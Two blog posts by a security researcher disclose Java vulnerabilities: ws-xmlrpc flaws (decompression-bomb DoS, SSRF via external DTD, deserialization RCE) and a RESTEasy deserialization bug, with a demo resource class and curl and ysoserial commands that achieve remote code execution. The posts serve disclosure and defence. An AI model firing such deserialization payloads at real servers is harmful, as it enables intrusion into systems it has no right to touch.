пятница, 8 июля 2016 г.

Apache XML-RPC is a XML-RPC library for Java. XML-RPC is a protocol for making remote procedure call via HTTP with the help of XML. Apache XML-RPC can be used on the client’s side to make XML-RPC calls as well as on the server’s side to expose some functionality via XML-RPC.

Now ws-xmlrpc library is not supported by Apache. Last version is 3.1.3 which was released in 2013. However, many applications still use ws-xmlrpc library. Among them are Apache Continuum and Apache Archiva.  Apache Continuum project have been moved to the Attic not long ago. But Apache Archiva is alive.

Recently I performed security assessment for Java project which had XML-RPC endpoint on /xmlrpc path. I figured out that the project used ws-xmlrpc library, and I started to dig into ws-xmlrpc to find something interesting. Finally I’ve found three vulnerabilities in ws-xmlrpc library and reported them to Apache Security Team. Because ws-xmlrpc is not supported, they have assigned following CVE numbers for Apache Archiva: CVE-2016-5002, CVE-2016-5003, and CVE-2016-5004.

To demonstrate how these vulnerabilities in ws-xmlrpc library can be abused, I wrote simple application unsafe-xmlrpc with XML-RPC functionality. To play with it, you should deploy it on your favorite servlet container, e.g. Apache Tomcat.

This application exposes functionality of Echo method of Echo class via XML-RPC. If you issue POST request to /unsafe-xmlrpc/xmlrpc and pass <methodCall> request, you will get the response with the result of Echo method invocation as shown on the screenshot.

Vulnerability CVE-2016-5004 can be abused to perform DoS attacks against application server that runs your XML-RPC endpoint. It turns out that by default ws-xmlrpc library supports Content-Encoding HTTP header. When it observes Content-Encoding: gzip header in request, it decompress request body before process it. When we add Content-Encoding: gzip header, but body is not gzipped, we have error “Not in GZIP format”.

This leads to old but gold  ‘decompression bomb’ attack. If the attacker creates a large file that consists of ‘zeroes’, he can compress it with a very good ratio. When XML-RPC endpoint starts to decompress, it wastes computational resources.

Vulnerability CVE-2016-5002 can be abused to perform SSRF attacks. XML-RPC utilizes XML, right!? And we know that Java apps are still susceptible to XXE staff, because of insecure defaults in most Java XML parsers. It turns out, that XML parser used inside ws-xmlrpc library allows to load external DTDs. But it prohibits external parameter and general entities. That is why only SSRF attacks are possible.

When we send XML with DOCTYPE declaration that loads external DTD, we can send GET request to the host of our choice on behalf of vulnerable XML-RPC endpoint.

And the last one is CVE-2016-5003. It is about untrusted deserialization in Java. Yea! It turns out that by default  ws-xmlrpc supports java.io.Serializable data types through <ex:serializable> element. We can call some method and pass serialized Java object in <ex:serializable> element. Before calling the method, ws-xmlrpc library will deserialize our object. This is craziness! 

I’ve included Apache Commons Collections 3.2.1 dependency into pom.xml of unsafe-xmlrpc  application to show RCE attack.

As takeaways from this post, if you use ws-xmlrpc library in your Java App, patch it yourself or switch to another XML-RPC library that is safe from attacks we observed here, e.g. Redstone.

Posted on пятница, июля 08, 2016 by 0ang3el

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воскресенье, 26 июня 2016 г.

RESTEasy is RedHat project for building REST services in Java. You can deploy and run RESTEasy services on various servlet containers, like Apache Tomcat, Jetty, Undertow etc. RESTEasy is included as a module in WildFly and Jboss J2EE servers.

In this post, I want to describe server-side bug, which I’ve found during assessing security of some project written in Java. This project had REST API that was built with RESTEasy.

I’ve written simple PoC application to demonstrate what can go wrong with RESTEasy services.

Consider the following JAX-RS resource class with name PoC_resource.
package unsafe.jaxrs;

import java.util.*;
import javax.ws.rs.*;
import javax.ws.rs.core.*;

public class PoC_resource {

 public Map doConcat(Pair pair) {

  HashMap result = new HashMap();
  result.put("Result", pair.getP1() + pair.getP2());

  return result;
This class contains JAX-RS method with name doConcat that is available via /concat path. It accepts “pair” parameter of class Pair.

I’ve added Jackson2 dependency to pom.xml. To invoke doConcat method you should issue POST request to the path /concat and pass JSON that represents object of the class Pair in the request body. You should also pass application/json in Content-Type HTTP header.

Here is the command line to invoke doConcat method of JAX-RS resource PoC_resource.
curl -i -s -k  -X 'POST' \
    -H 'Content-Type: application/json' \
    --data-binary $'{\"p1\":\"a\",\"p2\":\"b\"}' \
You should get similar answer.

My demo RESTEasy application has two features that make it vulnerable:
  1.  Pair class is derived from java.io.Serializable.
  2.  JAX-RS method doConcat has @Consumes({"*/*"}) annotation.
Via @Consumes annotation, you specify that JAX-RS resource or resource method accept certain values in Content-Type HTTP header. In my case, any value is allowed in Content-Type header.

RESTEasy uses so-called “providers” to marshal request body into the parameter of JAX-RS method. For my application, there is Jackson2 provider to marshal JSON into “pair” parameter.

As you might guess, RESTEasy will pick the suitable provider for marshalling based on the Class of the parameter and the value of Content-Type HTTP header.

There are non-standard providers like Jackson2 or JAXB that you should add explicitly in pom.xml. However, there are standard providers, which are located inside org.jboss.resteasy.plugins.providers package of resteasy-jaxrs JAR (core RESTEasy library). The most interesting standard provider is, of course, org.jboss.resteasy.plugins.providers.SerializableProvider.

When RESTEasy handles the request, it observes what content types are allowed for JAX-RS method (what content types are specified in @Consumes annotation for JAX-RS resource and JAX-RS resource method). RESTEasy composes short list of providers that are suitable for marshaling based on what content types are allowed for JAX-RS method, and value of Content-Type HTTP header in request. Next it iterates over this list, and for each provider invokes isReadable() method. If isReadable() of some provider returns true, RESTEasy chooses that provider for marshalling. If none of the isReadable() methods return true, we will get HTTP response with code 415.

Here you can see the listing of isReadable() method for SerializableProvider.
public boolean isReadable(Class type, Type genericType, Annotation[] annotations, MediaType mediaType)
    return (Serializable.class.isAssignableFrom(type)) && (APPLICATION_SERIALIZABLE_TYPE.getType().equals(mediaType.getType())) && (APPLICATION_SERIALIZABLE_TYPE.getSubtype().equals(mediaType.getSubtype()));
As you can observe in the listing, SerializableProvider is used for marshalling when parameter’s class is superclass of java.io.Serializable and Content-Type is equal to application/x-java-serialized-object.

To construct object from request body readFrom() method of SerializableProvider is invoked, which performs deserialization by calling readObject(). And we might have RCE, if there are “interesting” Java classes in the CLASSPATH.
public Serializable readFrom(Class type, Type genericType, Annotation[] annotations, MediaType mediaType, MultivaluedMap httpHeaders, InputStream entityStream)
    throws IOException, WebApplicationException
    BufferedInputStream bis = new BufferedInputStream(entityStream);
    ObjectInputStream ois = new ObjectInputStream(bis);
      return (Serializable)Serializable.class.cast(ois.readObject());
    catch (ClassNotFoundException e)
      throw new WebApplicationException(e);
For demonstration, I’ve added Apache Commons Collections 3.2.1 dependency in pom.xml.

First, I generate payload using ysoserial tool. Then I invoke doConcat method with curl and use Content-Type application/x-java-serialized-object.
java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections1 "curl" > /tmp/payload

curl -i -s -k  -X 'POST' \
    -H 'Content-Type: application/x-java-serialized-object' \
    -H 'Expect:' \
    --data-binary "@/tmp/payload" \

I have remote code execution.

Let’s summarize

For Pentesters. JAX-RS methods are vulnerable to “deserialization of untrusted data” bug  when the following conditions are met:
  1. Content type is not specified explicitly for JAX-RS method via @Consumes annotation or specified, but too broad (e.g. */*, application/*).
  2. JAX-RS method has parameter of class that is serializable.
For developers. Specify explicitly allowed content types using @Consumes annotation because there are potentially dangerous default providers.

Posted on воскресенье, июня 26, 2016 by 0ang3el